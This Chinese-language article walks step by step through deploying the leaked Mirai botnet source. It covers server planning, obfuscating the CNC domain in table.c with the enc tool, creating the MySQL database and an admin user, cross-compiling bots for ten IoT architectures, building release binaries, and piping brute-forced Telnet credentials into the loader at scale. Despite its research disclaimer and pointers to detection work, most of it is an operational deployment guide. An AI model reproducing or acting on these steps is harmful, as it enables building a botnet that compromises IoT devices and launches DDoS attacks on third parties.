ARTICLE DETAIL

资讯详情

深耕郑州网站建设与运营推广的一线实战洞察。

Mirai-Source-Code 实战解析:Bot 表项加密、CNC 数据库配置与 Echo Loader 装载链路

Mirai-Source-Code 实战解析:Bot 表项加密、CNC 数据库配置与 Echo Loader 装载链路 网络安全物联网【免费下载链接】Mirai-Source-CodeLeaked Mirai Source Code for Research/IoC Development Purposes项目地址https://gitcode.com/gh_mirrors/mi/Mirai-Source-Code点击查看免费下载本文以原作者 Anna-senpai 发布的 Mirai 源码泄露帖本仓库 ForumPost.md 及其原始存档 ForumPost.txt为骨架结合仓库内 bot、cnc、loader、scripts 等目录的真实源码逐项解析 Mirai 的部署架构、Bot 配置项加密流程、CNC 数据库初始化、交叉编译环境搭建以及 debug/release 两种构建模式。读完本文你将掌握从域名 CNC 体系、table.c混淆表项、enc加密工具到scanListen实时装载链路和 Echo Loader 的完整技术脉络可作为研究 2016 年 Mirai 家族 IoC 提取与检测规则开发的第一手参考。安全声明本仓库内容为 2016 年泄露的 Mirai 僵尸网络源码仅供网络安全研究、逆向分析、恶意样本检测与 IoC 开发使用见 README.md 的 CRITICAL DISCLAIMER。文中所有配置步骤仅面向隔离虚拟机/离线实验环境严禁用于扫描、感染真实设备或发起任何攻击。一、部署前置要求最低配置与作者的 Pro 配置原帖明确给出了两档服务器规划这也是理解 Mirai 各组件分工bot / CNC / loader / scan 接收端的起点最低配置Bare Minimum2 台服务器1 台跑 CNC MySQL1 台跑扫描结果接收scan receiver外加 1 台以上用于装载loading。作者本人的 Pro 配置1 台 VPS极其抗打的主机专门跑数据库1 台做了 rootkit 的 VPS跑 scanReceiver 与 distributor分发器1 台服务器跑 CNC——作者称在约 40 万 bot 在线时 CNC 只用了约 2% CPU3 台 10Gbps NForce 服务器用于装载distributor 将装载任务平均分发到这 3 台。从源码结构看这套分工与仓库目录一一对应bot 跑在受害 IoT 设备上mirai/botCNC 由 Go 编写mirai/cnc装载器是 C 编写的独立程序loader/src扫描结果接收端是 Go 工具 mirai/tools/scanListen.go数据库初始化脚本为 scripts/db.sql。二、基础设施架构域名 CNC、SYN 扫描与实时装载链路原帖对整套基础设施的描述可归纳为四条关键机制域名驱动的 CNC 连接bot 启动后并不硬编码 CNC 的 IP而是通过解析一个域名来获取 CNC 地址对应 mirai/bot/resolv.c 与 mirai/bot/resolv.h。原作者称这种设计带来的直接好处是别人打他的 CNC他只要换域名解析就能让所有 bot 重新连接大约 60 秒内全部 bot 就会重连。从 resolv.c 的实现看resolv_lookup会直接向硬编码的8.8.8.8:53发送 DNS A 记录查询最多重试 5 次每次 select 超时 5 秒解析成功后返回 IPv4 地址列表——这说明 bot 的域名解析是自实现的轻量 DNS 客户端不依赖系统库。SYN 扫描器暴力破解 Telnetbot 内置一套高级 SYN 扫描器。原作者声称其速度约为 qbot 的 80 倍、资源消耗约为 qbot 的 1/20。此表述为作者自述的性能对比未在本仓库内留有基准测试引用时需注意。破解结果回传扫描器拿到ip:port user:pass组合后bot 再解析另一个域名TABLE_SCAN_CB_DOMAIN并把结果上报默认端口为48101。仓库中 mirai/tools/scanListen.go 就是监听0.0.0.0:48101的接收工具其handleConnection按二进制协议解析首字节为 0 时读取 4 字节 IP 2 字节端口首字节非 0 时读取 3 字节 IP 且端口默认取 23随后依次读取 1 字节长度的用户名与密码最后以ip:port user:pass文本格式打印到 stdout。原作者称高峰期每秒可收到约 500 条破解结果作者自述数据。实时装载real-time-load闭环Mirai 的传播机制作者称之为实时装载——bot 暴力破解出结果 → 发送给跑着scanListen工具的服务器 →scanListen把结果交给 loader → loader 完成感染装载 → 新 bot 继续扫描形成brute - scanListen - load - brute的循环。这条链路里scanListen的文本输出格式恰好就是 loader 的标准输入格式两者可以管道直连。此外loader 支持配置多张源 IP 来规避 Linux 端口耗尽问题单 IP 的临时端口ephemeral port有限理论上最多只能支撑约 6.5 万个并发出站连接四元组变化不足实际数值远低于此。作者称自己的装载量约为 6 万7 万并发出站连接分布在 5 个 IP 上——这正是 loader 需要以ulimit调高文件描述符上限的原因见后文。三、配置 Bottable.c/table.h 表项与 enc 加密工具3.1 必须修改的四个配置项Bot 的大量配置字符串以混淆形式存放在 mirai/bot/table.c / mirai/bot/table.h 中。table.h 给出了每个表项的语义注释其中部署前必须修改的有四项表项宏含义默认值table.c 中TABLE_CNC_DOMAINbot 连接的 CNC 域名DDoS 规避核心作者称可随时换域名让 bot 重连cnc.changeme.comTABLE_CNC_PORTCNC 连接端口23\x22\x352 字节TABLE_SCAN_CB_DOMAIN破解结果上报的域名report.changeme.comTABLE_SCAN_CB_PORT破解结果上报端口48101\x99\xC72 字节这里可以顺手验证混淆算法table_key 0xdeadbeeftable.ctoggle_obf对每个字节依次异或 key 的 4 个字节即每字节异或0xef^0xbe^0xad^0xde 0x22。因此\x22\x35还原为0x22^0x220x00、0x35^0x220x1723即端口 23\x99\xC7还原为0xBB 0xE5按网络字节序big endian即0xBBE5 48101。这印证了原帖字符串与端口uint16 网络序两类值的说明。3.2 用 enc 工具生成混淆串原帖强调 mirai/tools/enc.c 必须先编译出来用它生成要写进 table.c 的内容。在mirai目录下执行首次会因缺少交叉编译器报错属正常现象不影响 enc 工具本身的编译./build.sh debug telnet随后./mirai/debug目录下会出现enc可执行文件由 mirai/build.sh 的gcc -stdc99 tools/enc.c -g -o debug/enc编译而来。例如生成 CNC 域名的混淆串./debug/enc string fuck.the.police.com输出示例XORing 20 bytes of data... \x44\x57\x41\x49\x0C\x56\x4A\x47\x0C\x52\x4D\x4E\x4B\x41\x47\x0C\x41\x4D\x4F\x22fuck.the.police.com共 19 个字符加结尾\0正好 20 字节与XORing 20 bytes对应。拿到输出后把 table.c 中TABLE_CNC_DOMAIN那一行替换为新串同时必须把行尾的长度参数一并替换enc 输出的字节数// 原文table.c 第 18 行原样 add_entry(TABLE_CNC_DOMAIN, \x41\x4C\x41\x0C\x41\x4A\x43\x4C\x45\x47\x4F\x47\x0C\x41\x4D\x4F\x22, 30); // cnc.changeme.com // 替换后 add_entry(TABLE_CNC_DOMAIN, \x44\x57\x41\x49\x0C\x56\x4A\x47\x0C\x52\x4D\x4E\x4B\x41\x47\x0C\x41\x4D\x4F\x22, 20); // fuck.the.police.com3.3 enc 工具支持的全部数据类型从 enc.c 的用法字符串可看到enc 不只是处理字符串还支持 6 种类型覆盖 table.c 中字符串 / 端口网络序 uint16两类值以及其他数值项Usage: enc string | ip | uint32 | uint16 | uint8 | bool datastring直接取原串含结尾\0如域名、路径、HTTP 头ipinet_addr()转换输出 4 字节uint32htonl()转换大端网络序4 字节uint16htons()转换大端网络序2 字节——端口类表项如TABLE_CNC_PORT、TABLE_SCAN_CB_PORT用它生成uint8单字节数值bool接受true/false输出单字节 1/0。table.c 的add_entry按buf_len拷贝入表table.c 的toggle_obf在 DEBUG 模式下还会维护locked标志防止在混淆状态下被误读——table_retrieve_val访问锁定项会打印告警并返回 NULL这是 Bot 在运行时按需解锁table_unlock_val读取、用完再上锁table_lock_val的机制可防止内存扫描类检测直接 dump 出明文配置。四、配置 CNCMySQL 数据库与连接常量CNCGo 实现依赖 MySQL 工作原帖给出的初始化路径如下。1. 安装数据库apt-get install mysql-server mysql-client2. 建库建表登录 MySQL 后执行 scripts/db.sql原帖的 pastebin 镜像已归档为本仓库文件。脚本会创建mirai库以及三张表history攻击记录含user_id、time_sent、duration、command、max_bots等字段users用户表字段依次为id、username、password、duration_limit攻击时长上限、cooldown冷却、wrc、last_paid、max_bots-1 表示不限、admin是否为管理员、intvl默认 30、api_keywhitelistIP 前缀白名单含prefix与netmask用于限制攻击目标范围。3. 添加用户原帖给出与users表字段顺序完全对齐的 INSERT 语句INSERT INTO users VALUES (NULL, anna-senpai, myawesomepassword, 0, 0, 0, 0, -1, 1, 30, );对照 db.sql 的建表语句可以逐列解读NULL交给自增 idanna-senpai/myawesomepassword是用户名与密码0,0,0,0对应duration_limit、cooldown、wrc、last_paid-1为max_bots不限1表示管理员30是默认攻击间隔intvl末尾为api_key。4. 修改数据库连接常量编辑 mirai/cnc/main.go 顶部的四个常量替换为刚安装的 MySQL 信息const DatabaseAddr string 127.0.0.1 const DatabaseUser string root const DatabasePass string password const DatabaseTable string mirai从 main.go 的main()可以看到 CNC 同时监听两个 TCP 端口0.0.0.0:23bot 与管理员登录入口和0.0.0.0:101API 端口走apiHandler。initialHandler通过首 4 字节是否为0x00 0x00 0x00来区分 bot 与管理员连接——这正是原帖前言中强调的CNC 与 bot 之间是二进制协议而非文本协议的代码证据对 bot 连接NewBot(conn, buf[3], source).Handle()会携带协议版本号与来源标识。五、搭建交叉编译环境Bot 需要针对多种 IoT CPU 架构交叉编译。原帖提供的方案已归档为仓库脚本 scripts/cross-compile.sh其核心步骤包括以 root 运行脚本开头有id -u校验交互式询问是否安装mysql-server mysql-client随后安装gcc、golang、electric-fence将cross-compiler-armv4l / armv5l / armv6l / i586 / m68k / mips / mipsel / powerpc / sh4 / sparc共 10 个工具链压缩包复制到/etc/xcompile并逐个解压、重命名为armv4l、mips等短目录名将这些目录的bin追加到PATH环境变量。原帖特别提醒执行后必须重启系统或source重新加载.bashrcPATH 才会生效。工具链命名mips-gcc、armv4l-gcc等与 mirai/build.sh 中compile_bot函数调用的$1-gcc完全一致即每个架构一个前缀为架构名的交叉编译器。六、构建 CNC 与 Botdebug 与 release 双模式构建入口是 mirai/build.sh用法为./build.sh debug telnet # 或 ./build.sh release telnet第二参数亦可为 sshdebug 模式build.sh产出调试用二进制bot 不会 daemonize守护化运行时会打印能否连上 CNC洪水攻击状态等调试信息产物写入./mirai/debug除mirai.dbg、mirai.mips、mirai.arm、mirai.arm7、mirai.sh4外还会生成enc、nogdb、badbot三个工具以及 Go 编译的cnc与scanListen。release 模式build.sh产出生产就绪的 botcompile_bot使用-O3 -fomit-frame-pointer -fdata-sections -ffunction-sections -Wl,--gc-sections优化随后用strip -S --strip-unneeded并显式移除.comment、.note、.eh_frame等调试/元数据段产物极小——原帖称约 60KB。为以下架构各产出mirai.$ARCH并附加-DKILLER_REBIND_SSH与-static标志全部写入./mirai/release产物架构mirai.x86/miraint.x86i586mirai.mips/miraint.mipsmipsmirai.mpsl/miraint.mpslmipselmirai.arm/miraint.armarmv4lmirai.arm5n/miraint.arm5narmv5lmirai.arm7/miraint.arm7armv6lmirai.ppc/miraint.ppcpowerpcmirai.spc/miraint.spcsparcmirai.m68k/miraint.m68km68kmirai.sh4/miraint.sh4sh4release 模式下还会用go build -o release/cnc cnc/*.go编译 CNC、go build -o release/scanListen tools/scanListen.go编译扫描结果接收端。注意原帖附带的mirai.src.zip/loader.src.zip下载链接是最多存活两周的临时分享现已失效其内容即本仓库的 mirai/ 与 loader/ 目录上图即该压缩包解压后的目录快照。七、构建 Echo Loader 与 scanListen 接收端7.1 Loader 的输入格式与装载策略Loader 从 STDIN 读取 Telnet 破解条目每行格式为ip:port user:pass这正好是scanListen的输出格式两者可直接管道串联形成实时装载链路。Loader 建立 Telnet 会话后会先探测目标设备上是否存在wget或tftp能下载就用它们拉取 bot 二进制若两者都没有则使用 echo 装载echoload方式——逐字节回显一个约 1KB 的微型二进制充当迷你 wget 角色到设备上完成装载。从 loader/src/connection.c 的状态机可以看到完整的 Telnet 会话生命周期connection_open初始化TELNET_CONNECTING状态、10 秒超时与echo_load_pos位置指针connection_close在会话结束时按成败分别向 stderr 打印OK|ip:port user:pass arch或ERR|...日志行并累计total_successes/total_failures计数。7.2 编译与运行在loader目录直接执行./build.shloader/build.sh 实际就是一条命令gcc -static -O3 -lpthread -pthread src/*.c -o loader——静态链接、O3 优化、多线程产出的loader即可直接用于生产装载。若手头已有现成格式的条目文件cat file.txt | ./loader原帖最后特别叮嘱记得ulimit。因为 loader 需要维持数万并发 Telnet 连接作者自述约 6 万7 万分布在多张源 IP 上以规避 Linux 端口耗尽必须调高进程可打开的文件描述符上限否则连接数会早早触顶。八、附录原作者对常见逆向误判的勘误原帖前言部分针对当时一份差评逆向报告逐条纠正了 5 个技术事实这些勘误本身就是理解 Bot 设计的重要线索以下为作者在发布帖中的陈述仓库源码可部分佐证端口 48101 并非反向连接端口而是用于防止同一设备上运行多个 bot 实例的互斥控制端口同时它也是扫描结果上报端口见 scanListen.go/dev/watchdog与/dev/misc不是用于制造延迟而是防止系统挂死看门狗机制属于送分题级的误判逆向者把FAKE_CNC_ADDR/FAKE_CNC_PORT当成了真实 CNC——这两个是诱饵字段真实 CNC 由域名解析获得作者称逆向者是被信号流signal flow绕晕了攻击解码器并非Sinden 风格的文本协议——CNC 与 bot 通信使用二进制协议main.go 中0x00 0x00 0x00前缀判别即为其证据代码中的chroot(/)并非像 torlus 一样可预测的冗余操作而是用于规避依赖 cwd当前工作目录的杀软检测手段。结语与后续研读建议本文覆盖了原帖从服务器规划、架构设计、Bot 混淆配置、CNC 数据库初始化、交叉编译到双模式构建与 Echo Loader 装载的完整部署脉络并逐项用仓库源码做了印证。若要继续深入建议按以下路径研读源码Bot 的域名解析与报文构造见 mirai/bot/resolv.c、mirai/bot/protocol.h扫描器与进程清理见 mirai/bot/scanner.c、mirai/bot/killer.cCNC 的管理员命令分发与 API 见 mirai/cnc/admin.go、mirai/cnc/api.goLoader 的 Telnet 状态机与载荷下发见 loader/src/connection.c、loader/src/server.c。所有研究请在隔离实验环境内进行并将注意力放在防御侧IoI 提取、YARA/Snort 规则编写与协议模拟器开发。赞分享网络安全物联网【免费下载链接】Mirai-Source-CodeLeaked Mirai Source Code for Research/IoC Development Purposes项目地址https://gitcode.com/gh_mirrors/mi/Mirai-Source-Code点击查看免费下载相关推荐source-code-hunterSpring Cloud Gateway 源码深析——自动装配、路由匹配与过滤链执行全链路source code hunterSpring Cloud Gateway 源码深析——自动装配、路由匹配与过滤链执行全链路 本文基于 source cod文档教程知识库使用 dlt 加载 Shopify 数据verified source 完整配置与实战指南使用 dlt 加载 Shopify 数据verified source 完整配置与实战指南 dltdata load tool为 Shopify 提供了开数据工程数据集成批处理创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考
返回列表